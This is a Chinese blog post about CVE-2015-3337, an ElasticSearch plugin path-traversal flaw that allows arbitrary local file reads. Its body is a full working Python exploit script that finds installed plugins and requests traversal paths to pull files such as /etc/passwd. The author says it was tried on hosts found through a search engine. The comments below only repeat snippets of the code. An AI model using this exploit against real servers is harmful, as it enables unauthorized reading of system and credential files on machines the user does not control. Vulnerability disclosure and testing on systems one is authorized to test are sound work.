ElasticSearch曝本地任意文件读取漏洞
近期在exploit-db上曝出了ElasticSearch插件功能的目录遍历(Path Transversal)引起的本地任意文件读取漏洞,影响1.4.5和1.5.2之前所有版本。在zoomeye上随便找了几个试了下,发现漏洞的影响面积还挺大的。
漏洞利用(POC)
#!/usr/bin/python # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 # Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ # # Source: https://github.com/pandujar/elasticpwn/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n" if len(sys.argv) <> 3: print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http port host = sys.argv[1] fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n" "Host: %s\n\n" % (plugin, fpath, host)) file = s.recv(2048) print " [*] Trying to retrieve %s:" % fpath if ("HTTP/1.0 200 OK" in file): print "\n%s" % file else: print "[-] File Not Found, No Access Rights or System Not Vulnerable" def pfind(plugin): try: socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/%s/ HTTP/1.0\n" "Host: %s\n\n" % (plugin, host)) file = s.recv(16) print "[*] Trying to find plugin %s:" % plugin if ("HTTP/1.0 200 OK" in file): print "[+] Plugin found!" grab(plugin) sys.exit() else: print "[-] Not Found " except Exception, e: print "[-] Error connecting to %s: %s" % (host, e) sys.exit() # Include more plugin names to check if they are installed pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] for plugin in pluginList: pfind(plugin)
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- 4条评论
- 忿咬旧谈2022-05-30 12:09:34
- e else: print "[-] File Not Found, No Access Rights or System Not Vulnerable" def
- 怎忘好怪2022-05-30 18:21:55
- host,port)) s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n" "Host: %s\n\n" % (plugin, fpath, host)) file
- 离鸢氿雾2022-05-30 12:23:07
- pluginList: pfind(plugin)
- 语酌酌锦2022-05-30 08:02:15
- Ex: %s www.example.com /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http porthost = sys.argv[